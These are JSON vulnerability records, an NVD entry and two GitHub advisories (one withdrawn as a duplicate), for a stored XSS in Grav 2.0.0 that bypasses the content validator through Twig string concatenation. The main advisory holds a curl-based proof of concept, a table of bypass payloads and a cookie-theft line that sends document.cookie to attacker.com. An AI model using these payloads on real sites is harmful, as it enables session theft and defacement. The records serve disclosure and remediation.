{
  "affected": [
    {
      "affectedData": [
        {
          "defaultStatus": "unaffected",
          "product": "grav",
          "vendor": "getgrav",
          "versions": [
            {
              "lessThan": "2.0.1",
              "status": "affected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "2.0.1",
              "versionType": "semver"
            }
          ]
        }
      ],
      "source": "disclosure@vulncheck.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Grav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig\u0027s string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = \"on\" ~ \"error\" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as \u003cimg src=1 onerror=alert(1)\u003e, executing arbitrary JavaScript in visitors\u0027 browsers."
    }
  ],
  "id": "CVE-2026-61453",
  "lastModified": "2026-07-15T19:50:11.367",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.1,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "LOW",
          "integrityImpact": "LOW",
          "privilegesRequired": "NONE",
          "scope": "CHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 2.7,
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 5.1,
          "baseSeverity": "MEDIUM",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "NONE",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "LOW",
          "subIntegrityImpact": "LOW",
          "userInteraction": "ACTIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "NONE",
          "vulnConfidentialityImpact": "NONE",
          "vulnIntegrityImpact": "NONE",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "disclosure@vulncheck.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-61453",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-15T17:58:40.076112Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T12:18:20.177",
  "references": [
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
    },
    {
      "source": "disclosure@vulncheck.com",
      "url": "https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
    }
  ],
  "sourceIdentifier": "disclosure@vulncheck.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-79"
        }
      ],
      "source": "disclosure@vulncheck.com",
      "type": "Secondary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61453"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-184",
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:13:17Z",
    "nvd_published_at": "2026-07-15T17:16:51Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig\u0027s string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ \"on\" ~ \"error\" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `\u003cimg src=1 onerror=alert(1)\u003e` which is rendered via `{{ content|raw }}` and executes in the victim\u0027s browser.\n\n---\n\n## Details\n\n**The two-stage attack** exploits the separation between validation and rendering:\n\n**Stage 1 - what the XSS validator sees** (raw page content):\n\n```twig\n{% set x = \"on\" ~ \"error\" %}\n\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\n```\n\nThe `detectXss()` function scans this string. The `on_events` regex looks for `\u003c[^\u003e]*?[\\s\\x00-\\x20\\\"\\\u0027\\/](on\\s*[a-z]+|xmlns)\\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\\s\\x00-\\x20\\\"\\\u0027\\/]`, and `x` is not `on`. **No match - passes validation.**\n\n**Stage 2 - what Twig produces** (after rendering):\n\n```html\n\u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nThe validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.\n\n**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:\n\n```yaml\nallowed_tags:\n  - set          # \u2190 allows variable assignment\n  ...\n```\n\nThe `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag \u2014 it is always available and not gated by the sandbox.\n\n**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:\n\n```twig\n\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e\n{# XSS validator sees: \u003cs{{...}}\u003e - no \u003cscript\u003e tag detected\n   Twig output: \u003cscript\u003ealert(1)\u003c/script\u003e #}\n```\n\n**Also bypasses the `invalid_protocols` check**:\n\n```twig\n\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e\n{# Validator sees: href=\"{{...}}\" - no \"javascript:\" protocol detected #}\n```\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n1. `twig_content.process_enabled: true` set by admin\n2. `api.pages.write` permission (page creation)\n\n### Step 1 - Obtain JWT token (any user with page write access)\n\n```bash\nJWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"username\":\"user\",\"password\":\"pass\"}\u0027 \\\n  | python3 -c \"import json,sys; print(json.load(sys.stdin)[\u0027data\u0027][\u0027access_token\u0027])\")\n```\n\n### Step 2 - Create page with Twig XSS payload\n\n```bash\ncurl -s http://127.0.0.1/grav/api/v1/pages -X POST \\\n  -H \"Authorization: Bearer $JWT\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"title\": \"xss-page\",\n    \"folder\": \"xss-page\",\n    \"route\": \"/xss-page\",\n    \"template\": \"default\",\n    \"header\": {\"title\": \"xss\", \"process\": {\"markdown\": false}},\n    \"content\": \"{% set x = \\\"on\\\" ~ \\\"error\\\" %}\u003cimg src=1 {{ x }}=alert(document.domain)\u003e\"\n  }\u0027\n```\n\n**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.\n\n### Step 3 - Visit page \u2192 XSS fires\n\n```bash\ncurl -s http://127.0.0.1/grav/xss-page | grep -oP \u0027\u003cimg[^\u003e]*\u003e\u0027\n# Output: \u003cimg src=1 onerror=alert(document.domain)\u003e\n```\n\nOpen in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires.\n\u003cimg width=\"1842\" height=\"996\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588\" /\u003e\n\u003cimg width=\"1346\" height=\"263\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef\" /\u003e\n\n#### From a low-level user\nAlso From a low-level user normal script such as `\u003cimg src=1 onerror=alert(1)\u003e` this is being blocked by the restriction.\n\u003cimg width=\"1849\" height=\"980\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57\" /\u003e\n\nBut with payloads such as \u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e proves that the we can bypass the blueprint restrictions and upload malicious script to it\n\u003cimg width=\"1841\" height=\"1009\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd\" /\u003e\n\u003cimg width=\"1524\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770\" /\u003e\n\n\n\n### Alternative payloads (all bypass the validator)\n\n| Payload | Twig Source | After Twig | Triggers |\n|---------|------------|------------|----------|\n| Event handler | `\u003cimg src=1 {{\"on\"~\"error\"}}=alert(1)\u003e` | `\u003cimg src=1 onerror=alert(1)\u003e` | Image load fails |\n| Script tag | `\u003cs{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003ealert(1)\u003c/s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}\u003e` | `\u003cscript\u003ealert(1)\u003c/script\u003e` | Immediately |\n| Protocol bypass | `\u003ca href=\"{{\"java\"~\"script\"}}:alert(1)\"\u003eclick\u003c/a\u003e` | `\u003ca href=\"javascript:alert(1)\"\u003eclick\u003c/a\u003e` | On click |\n| Iframe onload | `\u003ci{{\"f\"~\"r\"~\"a\"~\"m\"~\"e\"}} {{\"on\"~\"load\"}}=alert(1)\u003e` | `\u003ciframe onload=alert(1)\u003e` | Page load |\n| Details toggle | `\u003cdetails open {{\"on\"~\"toggle\"}}=alert(1)\u003e` | `\u003cdetails open ontoggle=alert(1)\u003e` | Page load |\n| Cookie theft | `\u003cimg src=1 {{\"on\"~\"error\"}}=fetch(\"https://attacker.com/?c=\"+document.cookie)\u003e` | `\u003cimg src=1 onerror=fetch(...)\u003e` | Image load fails |\n\n### Admin preview caveat\n\nThe Admin2 SPA renders page previews inside a **sandboxed iframe**:\n\n```html\n\u003ciframe sandbox=\"allow-same-origin allow-scripts allow-forms\"\u003e\u003c/iframe\u003e\n```\n\n`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.\n\n---\n\n## Impact\n\nOnce the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:\n\n- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`)\n- **Bypasses the dangerous tag blocklist** (reconstructs `\u003cscript\u003e`, `\u003ciframe\u003e`, `\u003csvg\u003e`, etc.)\n- **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`)\n- **Persists** across page edits (stored in page content file)\n- **Executes** for every visitor to the page\n\nAn attacker can steal session cookies, perform actions as the victim, or deface the site.\n\n---\n\n## Remediation\n\n### Option A - Re-run the XSS validator on Twig output\n\nAfter `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:\n\n```php\n// In Twig::processPage(), after rendering\n$rendered = $twig-\u003erender($name, $context);\n$result = Security::detectXss($rendered);\nif ($result !== null) {\n    // Log and sanitize or block\n    Security::logTwigSandboxViolation(\u0027xss_output\u0027, $result, \u0027\u0027, $route);\n    return \u0027\u0027; // or return escaped version\n}\n```\n\n### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)\n\nRemoving string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).\n\n### Option C - Block dynamic attribute names in Twig output\n\nParse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.\n\n### Option D - Escape HTML in rendered Twig output\n\nWrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior \u2014 the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.",
  "id": "GHSA-2c4f-86xc-cr74",
  "modified": "2026-09-16T22:13:17Z",
  "published": "2026-09-16T22:13:17Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61453"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61710"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/getgrav/grav"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Grav: XSS Blueprint Validation Bypass via Twig String Concatenation"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "getgrav/grav"
      },
      "versions": [
        "2.0.0"
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:13:08Z",
    "nvd_published_at": "2026-07-15T12:18:20Z",
    "severity": "MODERATE"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-2c4f-86xc-cr74. This link is maintained to preserve external references.\n\n### Original Description\nGrav v2.0.0 contains a cross-site scripting vulnerability (fixed in 2.0.1). The XSS blueprint validator (Security::detectXss()) runs on raw page content before Twig processing. When Twig content processing is enabled (twig_content.process_enabled: true), an attacker with page-write API permission can use Twig\u0027s string concatenation operator (~) to dynamically construct event handler names, dangerous tag names, or dangerous protocols at render time (e.g. {% set x = \"on\" ~ \"error\" %}). The validator sees only the harmless Twig expression and allows the content, but after Twig rendering the output (rendered via {{ page.content|raw }}) contains an active payload such as \u003cimg src=1 onerror=alert(1)\u003e, executing arbitrary JavaScript in visitors\u0027 browsers.",
  "id": "GHSA-373m-p57p-8665",
  "modified": "2026-09-16T22:13:08Z",
  "published": "2026-07-15T12:32:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61453"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: Grav: XSS Blueprint Validation Bypass via Twig String Concatenation",
  "withdrawn": "2026-09-16T22:13:08Z"
}